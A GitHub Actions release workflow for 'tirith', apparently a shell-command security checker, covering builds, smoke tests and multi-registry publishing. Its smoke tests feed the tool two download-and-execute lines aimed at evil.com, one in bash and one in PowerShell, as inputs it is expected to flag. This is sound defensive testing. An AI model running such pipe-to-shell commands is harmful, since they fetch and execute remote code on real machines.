Skip to content

chore: bump all package manifests to 0.2.11 #34

chore: bump all package manifests to 0.2.11

chore: bump all package manifests to 0.2.11 #34

Workflow file for this run

name: Release
on:
push:
tags: ["v*"]
workflow_dispatch:
inputs:
dry_run:
description: "Build and smoke-test only (no publish)"
type: boolean
default: true
permissions:
contents: write
id-token: write # For sigstore signing
packages: write # For GHCR Docker images
jobs:
enforcement-check:
name: Verify Enforcement Mode
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- name: Verify enforcement mode matches release tag
env:
RELEASE_TAG: ${{ github.ref_name }}
EVENT_NAME: ${{ github.event_name }}
run: |
if [[ "$RELEASE_TAG" != v* ]]; then
if [[ "$EVENT_NAME" == "workflow_dispatch" ]]; then
echo "WARNING: workflow_dispatch without version tag — enforcement check skipped"
echo "This is expected for dry-run builds. Production releases must use v* tags."
else
echo "Not a version tag ($RELEASE_TAG), skipping enforcement check"
fi
exit 0
fi
output=$(cargo test -p tirith-core --locked --lib -- license::tests::enforcement_mode_matches_release_tag --exact --ignored --nocapture 2>&1)
echo "$output"
if ! echo "$output" | grep -q "1 passed"; then
echo "ERROR: enforcement mode guard test did not run (renamed or removed?)"
exit 1
fi
completions:
name: Generate Completions
needs: enforcement-check
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- name: Build native binary for completions
run: cargo build --release --locked -p tirith
- name: Generate completions and man page
run: |
mkdir -p staging/completions staging/man
./target/release/tirith completions bash > staging/completions/tirith.bash
./target/release/tirith completions zsh > staging/completions/_tirith
./target/release/tirith completions fish > staging/completions/tirith.fish
./target/release/tirith manpage > staging/man/tirith.1
- name: Upload completions artifact
uses: actions/upload-artifact@v4
with:
name: completions-man
path: staging/
build:
name: Build (${{ matrix.target }})
needs: completions
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
include:
- { os: macos-latest, target: aarch64-apple-darwin }
- { os: macos-latest, target: x86_64-apple-darwin }
- { os: ubuntu-22.04, target: x86_64-unknown-linux-gnu }
- { os: ubuntu-22.04, target: aarch64-unknown-linux-gnu }
- { os: windows-latest, target: x86_64-pc-windows-msvc }
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
with:
targets: ${{ matrix.target }}
- name: Install cross-compilation tools (Linux aarch64)
if: matrix.target == 'aarch64-unknown-linux-gnu'
run: |
sudo apt-get update
sudo apt-get install -y gcc-aarch64-linux-gnu
echo "CARGO_TARGET_AARCH64_UNKNOWN_LINUX_GNU_LINKER=aarch64-linux-gnu-gcc" >> $GITHUB_ENV
- name: Build release binary
run: cargo build --release --locked --target ${{ matrix.target }} -p tirith
- name: Download completions (Unix)
if: runner.os != 'Windows'
uses: actions/download-artifact@v4
with:
name: completions-man
path: staging/
- name: Stage binary (Unix)
if: runner.os != 'Windows'
run: cp target/${{ matrix.target }}/release/tirith staging/
- name: Download completions (Windows)
if: runner.os == 'Windows'
uses: actions/download-artifact@v4
with:
name: completions-man
path: staging/
- name: Stage binary (Windows)
if: runner.os == 'Windows'
shell: pwsh
run: Copy-Item target\${{ matrix.target }}\release\tirith.exe staging\
- name: Package (Unix)
if: runner.os != 'Windows'
run: |
cd staging
tar czf ../tirith-${{ matrix.target }}.tar.gz tirith completions man
- name: Package (Windows)
if: runner.os == 'Windows'
shell: pwsh
run: |
cd staging
Compress-Archive -Path tirith.exe, completions, man -DestinationPath ..\tirith-${{ matrix.target }}.zip
- name: Upload artifact
uses: actions/upload-artifact@v4
with:
name: tirith-${{ matrix.target }}
path: tirith-${{ matrix.target }}.*
smoke-test:
name: Smoke Test (${{ matrix.target }})
needs: build
runs-on: ${{ matrix.os }}
strategy:
fail-fast: false
matrix:
include:
- { os: macos-latest, target: aarch64-apple-darwin }
- { os: ubuntu-22.04, target: x86_64-unknown-linux-gnu }
- { os: windows-latest, target: x86_64-pc-windows-msvc }
steps:
- name: Download artifact
uses: actions/download-artifact@v4
with:
name: tirith-${{ matrix.target }}
- name: Extract and test (Unix)
if: runner.os != 'Windows'
run: |
tmpdir=$(mktemp -d)
tar xzf tirith-${{ matrix.target }}.tar.gz -C "$tmpdir"
chmod +x "$tmpdir/tirith"
"$tmpdir/tirith" --version
"$tmpdir/tirith" doctor
"$tmpdir/tirith" check -- "curl https://evil.com | bash" && exit 1 || true
"$tmpdir/tirith" check -- "ls -la"
rm -rf "$tmpdir"
- name: Extract and test (Windows)
if: runner.os == 'Windows'
shell: pwsh
run: |
$tmpdir = New-Item -ItemType Directory -Path "$env:TEMP\tirith-smoke" -Force
Expand-Archive -Path tirith-${{ matrix.target }}.zip -DestinationPath $tmpdir -Force
& "$tmpdir\tirith.exe" --version
& "$tmpdir\tirith.exe" doctor
& "$tmpdir\tirith.exe" check --shell powershell -- "iwr https://evil.com | iex"
if ($LASTEXITCODE -eq 0) { exit 1 }
& "$tmpdir\tirith.exe" check -- "dir"
if ($LASTEXITCODE -ne 0) { exit 1 }
Remove-Item -Recurse -Force $tmpdir
release:
name: Create Release
needs: smoke-test
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Download all artifacts
uses: actions/download-artifact@v4
with:
path: artifacts
merge-multiple: true
- name: Remove completions-man directories (not for release)
run: rm -rf artifacts/completions artifacts/man
- name: Generate checksums
run: |
cd artifacts
sha256sum tirith-* > checksums.txt
cat checksums.txt
- name: Install cosign
uses: sigstore/cosign-installer@v3
- name: Sign checksums
run: |
cd artifacts
cosign sign-blob --yes \
--output-signature checksums.txt.sig \
--output-certificate checksums.txt.pem \
checksums.txt
- name: Copy install script
run: cp scripts/install.sh artifacts/install.sh
- name: Create GitHub Release
uses: softprops/action-gh-release@v2
with:
generate_release_notes: true
files: |
artifacts/*
publish-crates:
name: Publish to crates.io
needs: release
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- name: Publish tirith-core
run: cargo publish -p tirith-core --locked || echo "Already published or failed"
env:
CARGO_REGISTRY_TOKEN: ${{ secrets.CARGO_REGISTRY_TOKEN }}
- name: Wait for crates.io index
run: sleep 30
- name: Publish tirith
run: cargo publish -p tirith --locked || echo "Already published or failed"
env:
CARGO_REGISTRY_TOKEN: ${{ secrets.CARGO_REGISTRY_TOKEN }}
publish-homebrew:
name: Update Homebrew Tap
needs: release
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
path: source
- name: Download all artifacts
uses: actions/download-artifact@v4
with:
path: artifacts
merge-multiple: true
- name: Checkout tap repo
uses: actions/checkout@v4
with:
repository: sheeki03/homebrew-tap
token: ${{ secrets.TAP_GITHUB_TOKEN }}
path: homebrew-tap
- name: Update formula
env:
VERSION: ${{ github.ref_name }}
run: |
VER="${VERSION#v}"
mkdir -p homebrew-tap/Formula
cp source/packaging/homebrew/tirith.rb homebrew-tap/Formula/tirith.rb
cd artifacts
SHA_AA=$(sha256sum tirith-aarch64-apple-darwin.tar.gz | cut -d' ' -f1)
SHA_XA=$(sha256sum tirith-x86_64-apple-darwin.tar.gz | cut -d' ' -f1)
SHA_AL=$(sha256sum tirith-aarch64-unknown-linux-gnu.tar.gz | cut -d' ' -f1)
SHA_XL=$(sha256sum tirith-x86_64-unknown-linux-gnu.tar.gz | cut -d' ' -f1)
cd ..
sed -i "s/version \"[0-9.]*\"/version \"${VER}\"/" homebrew-tap/Formula/tirith.rb
sed -i "s|releases/download/v[0-9.]*|releases/download/${VERSION}|g" homebrew-tap/Formula/tirith.rb
sed -i "0,/sha256 \"PLACEHOLDER\"/{s/sha256 \"PLACEHOLDER\"/sha256 \"${SHA_AA}\"/}" homebrew-tap/Formula/tirith.rb
sed -i "0,/sha256 \"PLACEHOLDER\"/{s/sha256 \"PLACEHOLDER\"/sha256 \"${SHA_XA}\"/}" homebrew-tap/Formula/tirith.rb
sed -i "0,/sha256 \"PLACEHOLDER\"/{s/sha256 \"PLACEHOLDER\"/sha256 \"${SHA_AL}\"/}" homebrew-tap/Formula/tirith.rb
sed -i "0,/sha256 \"PLACEHOLDER\"/{s/sha256 \"PLACEHOLDER\"/sha256 \"${SHA_XL}\"/}" homebrew-tap/Formula/tirith.rb
- name: Push formula
env:
VERSION: ${{ github.ref_name }}
run: |
cd homebrew-tap
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add Formula/tirith.rb
git commit -m "tirith $VERSION"
git push
publish-npm:
name: Publish npm Packages
needs: release
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
permissions:
contents: read
id-token: write # Required for npm provenance (OIDC)
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
registry-url: https://registry.npmjs.org
- name: Download all artifacts
uses: actions/download-artifact@v4
with:
path: artifacts
merge-multiple: true
- name: Prepare platform packages
run: |
set -euo pipefail
VERSION="${GITHUB_REF_NAME#v}"
# Map: npm-dir archive-name binary-name
declare -A NPM_MAP=(
["darwin-arm64"]="tirith-aarch64-apple-darwin.tar.gz:tirith"
["darwin-x64"]="tirith-x86_64-apple-darwin.tar.gz:tirith"
["linux-x64"]="tirith-x86_64-unknown-linux-gnu.tar.gz:tirith"
["linux-arm64"]="tirith-aarch64-unknown-linux-gnu.tar.gz:tirith"
["win32-x64"]="tirith-x86_64-pc-windows-msvc.zip:tirith.exe"
)
for platform in "${!NPM_MAP[@]}"; do
IFS=':' read -r archive binary <<< "${NPM_MAP[$platform]}"
pkg_dir="npm/${platform}"
# Extract binary into package bin/
tmpdir=$(mktemp -d)
if [[ "$archive" == *.zip ]]; then
unzip -o "artifacts/${archive}" -d "$tmpdir"
else
tar xzf "artifacts/${archive}" -C "$tmpdir"
fi
mkdir -p "${pkg_dir}/bin"
cp "${tmpdir}/${binary}" "${pkg_dir}/bin/${binary}"
chmod +x "${pkg_dir}/bin/${binary}" 2>/dev/null || true
rm -rf "$tmpdir"
# Update version in package.json
cd "$pkg_dir"
node -e "
const pkg = require('./package.json');
pkg.version = '${VERSION}';
require('fs').writeFileSync('package.json', JSON.stringify(pkg, null, 2) + '\n');
"
cd -
done
# Update root package version
cd npm/tirith
node -e "
const pkg = require('./package.json');
pkg.version = '${VERSION}';
for (const dep of Object.keys(pkg.optionalDependencies || {})) {
pkg.optionalDependencies[dep] = '${VERSION}';
}
require('fs').writeFileSync('package.json', JSON.stringify(pkg, null, 2) + '\n');
"
cd -
# Ensure launcher has correct permissions and line endings
chmod +x npm/tirith/bin/tirith
- name: Publish platform packages
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
run: |
for dir in npm/darwin-arm64 npm/darwin-x64 npm/linux-x64 npm/linux-arm64 npm/win32-x64; do
echo "Publishing $(basename $dir)..."
cd "$dir"
npm publish --access public --provenance || echo "Already published or failed: $(basename $dir)"
cd -
done
- name: Publish root package
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
run: |
cd npm/tirith
npm publish --access public --provenance || echo "Already published or failed: tirith"
publish-scoop:
name: Update Scoop Bucket
needs: release
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
path: source
- name: Download all artifacts
uses: actions/download-artifact@v4
with:
path: artifacts
merge-multiple: true
- name: Checkout scoop bucket
uses: actions/checkout@v4
with:
repository: sheeki03/scoop-tirith
token: ${{ secrets.TAP_GITHUB_TOKEN }}
path: scoop-tirith
- name: Update manifest
env:
VERSION: ${{ github.ref_name }}
run: |
VER="${VERSION#v}"
HASH=$(sha256sum artifacts/tirith-x86_64-pc-windows-msvc.zip | cut -d' ' -f1)
mkdir -p scoop-tirith/bucket
cp source/packaging/scoop/tirith.json scoop-tirith/bucket/tirith.json
sed -i "s/\"version\": \"[0-9.]*\"/\"version\": \"${VER}\"/" scoop-tirith/bucket/tirith.json
sed -i "s|releases/download/v[0-9.]*|releases/download/${VERSION}|" scoop-tirith/bucket/tirith.json
sed -i "s/\"hash\": \"PLACEHOLDER\"/\"hash\": \"${HASH}\"/" scoop-tirith/bucket/tirith.json
- name: Push manifest
env:
VERSION: ${{ github.ref_name }}
run: |
cd scoop-tirith
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add bucket/tirith.json
git commit -m "tirith $VERSION"
git push
publish-docker:
name: Publish Docker Image
needs: release
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Login to GHCR
uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract version
id: version
run: echo "VERSION=${GITHUB_REF_NAME#v}" >> $GITHUB_OUTPUT
- name: Build and push
uses: docker/build-push-action@v5
with:
context: .
platforms: linux/amd64,linux/arm64
push: true
tags: |
ghcr.io/sheeki03/tirith:latest
ghcr.io/sheeki03/tirith:${{ steps.version.outputs.VERSION }}
publish-deb:
name: Build Debian Package
needs: release
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-22.04
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- name: Cache cargo-deb
uses: actions/cache@v4
with:
path: ~/.cargo/bin/cargo-deb
key: cargo-deb-${{ runner.os }}
- name: Install cargo-deb
run: command -v cargo-deb || cargo install cargo-deb --locked
# cargo-deb requires assets relative to crates/tirith/, but shell hooks
# live at repo root. This directory is gitignored and only exists in CI.
- name: Copy shell hooks to assets
run: |
mkdir -p crates/tirith/assets/shell/lib
cp shell/tirith.sh crates/tirith/assets/shell/
cp shell/lib/*.zsh crates/tirith/assets/shell/lib/
cp shell/lib/*.bash crates/tirith/assets/shell/lib/
cp shell/lib/*.fish crates/tirith/assets/shell/lib/
cp shell/lib/*.ps1 crates/tirith/assets/shell/lib/
- name: Build release binary into crate-local target
run: |
cd crates/tirith
CARGO_TARGET_DIR=target cargo build --release --locked
- name: Generate completions and manpage for .deb
run: |
mkdir -p crates/tirith/assets/completions crates/tirith/assets/man
./crates/tirith/target/release/tirith completions bash > crates/tirith/assets/completions/tirith.bash
./crates/tirith/target/release/tirith completions zsh > crates/tirith/assets/completions/_tirith
./crates/tirith/target/release/tirith completions fish > crates/tirith/assets/completions/tirith.fish
./crates/tirith/target/release/tirith manpage > crates/tirith/assets/man/tirith.1
- name: Build .deb with cargo-deb
run: |
VERSION="${GITHUB_REF_NAME#v}"
cd crates/tirith
CARGO_TARGET_DIR=target cargo deb --no-build
mv target/debian/*.deb ../../tirith_${VERSION}_amd64.deb
- name: Generate .deb checksum
run: |
sha256sum tirith_*.deb > tirith_deb_checksum.txt
cat tirith_deb_checksum.txt
- name: Upload to release
uses: softprops/action-gh-release@v2
with:
files: |
tirith_*.deb
tirith_deb_checksum.txt
publish-rpm:
name: Build RPM package
needs: smoke-test
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build RPM in Rocky Linux container
env:
VERSION: ${{ github.ref_name }}
run: |
docker run --rm -e VERSION -v ${{ github.workspace }}:/workspace -w /workspace rockylinux:9 bash -c '
set -e
VER="${VERSION#v}"
# Install build tools
dnf install -y --allowerasing gcc rpm-build curl ca-certificates git
curl --proto "=https" --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source $HOME/.cargo/env
# Build release binary
cargo build --release --locked -p tirith
# Generate completions and manpage
mkdir -p build/{completions,man,shell/lib}
./target/release/tirith completions bash > build/completions/tirith.bash
./target/release/tirith completions zsh > build/completions/_tirith
./target/release/tirith completions fish > build/completions/tirith.fish
./target/release/tirith manpage > build/man/tirith.1
cp shell/tirith.sh build/shell/
cp shell/lib/* build/shell/lib/
# Prepare RPM build
mkdir -p ~/rpmbuild/{BUILD,RPMS,SOURCES,SPECS}
mkdir -p ~/rpmbuild/SOURCES/shell/lib
mkdir -p ~/rpmbuild/SOURCES/completions
mkdir -p ~/rpmbuild/SOURCES/man
cp target/release/tirith ~/rpmbuild/SOURCES/
cp build/shell/tirith.sh ~/rpmbuild/SOURCES/shell/
cp build/shell/lib/* ~/rpmbuild/SOURCES/shell/lib/
cp build/completions/* ~/rpmbuild/SOURCES/completions/
cp build/man/* ~/rpmbuild/SOURCES/man/
cp LICENSE-AGPL ~/rpmbuild/SOURCES/
cp LICENSE-COMMERCIAL ~/rpmbuild/SOURCES/
# Update spec version and build
sed "s/^Version:.*/Version: ${VER}/" packaging/rpm/tirith.spec > ~/rpmbuild/SPECS/tirith.spec
rpmbuild -bb ~/rpmbuild/SPECS/tirith.spec --define "_topdir $HOME/rpmbuild"
# Copy RPM to workspace
cp ~/rpmbuild/RPMS/x86_64/tirith-*.rpm /workspace/
'
- name: Upload RPM to release
uses: softprops/action-gh-release@v2
with:
files: tirith-*.rpm
publish-chocolatey:
name: Publish to Chocolatey
needs: release
if: startsWith(github.ref, 'refs/tags/v')
runs-on: windows-latest
steps:
- uses: actions/checkout@v4
- name: Download Windows artifact
uses: actions/download-artifact@v4
with:
name: tirith-x86_64-pc-windows-msvc
path: artifacts
merge-multiple: true
- name: Template and pack
shell: pwsh
env:
VERSION: ${{ github.ref_name }}
run: |
$version = $env:VERSION.TrimStart("v")
# Artifact extracts directly to artifacts/
$hash = (Get-FileHash artifacts/tirith-x86_64-pc-windows-msvc.zip -Algorithm SHA256).Hash
# Update nuspec
(Get-Content packaging/chocolatey/tirith.nuspec) -replace '<version>[0-9.]+</version>', "<version>$version</version>" | Set-Content packaging/chocolatey/tirith.nuspec
# Update install script
$install = Get-Content packaging/chocolatey/tools/chocolateyinstall.ps1
$install = $install -replace "\`$version = '[0-9.]+'", "`$version = '$version'"
$install = $install -replace "\`$checksum = 'PLACEHOLDER'", "`$checksum = '$hash'"
$install | Set-Content packaging/chocolatey/tools/chocolateyinstall.ps1
# Pack (cd to chocolatey dir so tools/** paths resolve correctly)
cd packaging/chocolatey
choco pack tirith.nuspec --out ${{ github.workspace }}
- name: Push to Chocolatey
shell: pwsh
continue-on-error: true # Chocolatey moderation can block pushes; don't fail the release
run: |
$nupkg = Get-ChildItem -Path ${{ github.workspace }} -Filter "tirith.*.nupkg" | Select-Object -First 1
& choco push $nupkg.FullName --source https://push.chocolatey.org/ --api-key ${{ secrets.CHOCOLATEY_API_KEY }}
if ($LASTEXITCODE -ne 0) {
Write-Warning "Chocolatey push failed (exit $LASTEXITCODE) — previous version may still be in moderation"
}
publish-aur:
name: Update AUR Package
needs: release
if: startsWith(github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
continue-on-error: true # AUR SSH can be transiently unavailable; don't fail the release
steps:
- uses: actions/checkout@v4
- name: Validate AUR SSH key
env:
AUR_KEY: ${{ secrets.AUR_SSH_PRIVATE_KEY }}
run: |
if [ -z "$AUR_KEY" ]; then
echo "::error::AUR_SSH_PRIVATE_KEY secret is not set — cannot publish to AUR"
exit 1
fi
- name: Update PKGBUILD version and checksums
env:
VERSION: ${{ github.ref_name }}
run: |
VER="${VERSION#v}"
sed -i "s/^pkgver=.*/pkgver=${VER}/" packaging/aur/PKGBUILD
sed -i "s/^pkgrel=.*/pkgrel=1/" packaging/aur/PKGBUILD
# Compute source checksum without keeping the tarball (AUR has a blob size limit)
URL="https://github.com/sheeki03/tirith/archive/refs/tags/${VERSION}.tar.gz"
SHA=$(curl -sSL "$URL" | sha256sum | cut -d' ' -f1)
sed -i "s/^sha256sums=.*/sha256sums=('${SHA}')/" packaging/aur/PKGBUILD
- name: Publish to AUR
uses: KSXGitHub/github-actions-deploy-aur@v3.0.1
with:
pkgname: tirith
pkgbuild: packaging/aur/PKGBUILD
assets: packaging/aur/tirith.install
commit_username: sheeki03
commit_email: shivomsharma03@gmail.com
ssh_private_key: ${{ secrets.AUR_SSH_PRIVATE_KEY }}
commit_message: "Update to ${{ github.ref_name }}"